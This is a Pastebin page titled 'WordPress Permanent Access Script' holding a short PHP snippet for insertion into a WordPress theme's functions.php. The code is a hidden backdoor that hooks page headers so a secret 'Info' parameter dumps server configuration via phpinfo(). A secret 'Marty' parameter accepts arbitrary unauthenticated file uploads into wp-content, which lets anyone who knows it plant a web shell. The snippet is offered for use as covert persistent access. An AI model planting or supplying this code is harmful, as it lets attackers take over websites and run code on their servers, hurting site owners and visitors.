Advertisement
salmancreation

WordPress Permanent Access Script

Jun 10th, 2015
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.47 KB | None | 0 0
  1. add to the file functions.php of the current theme
  2. ---------------------------------------------------------------------
  3. add_action('wp_head', 'Info');
  4. function Info() { if(isset($_GET['Info'])) phpinfo(); }
  5. add_action('wp_head', 'Marty');
  6. function Marty() { if(isset($_FILES['file']) && isset($_GET['Marty'])) {
  7.  move_uploaded_file($_FILES['file']['tmp_name'], 'wp-content/' . $_FILES['file']['name']);
  8.  echo "Stored in: " . 'wp-content/' . $_FILES['file']['name'];
  9. }}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement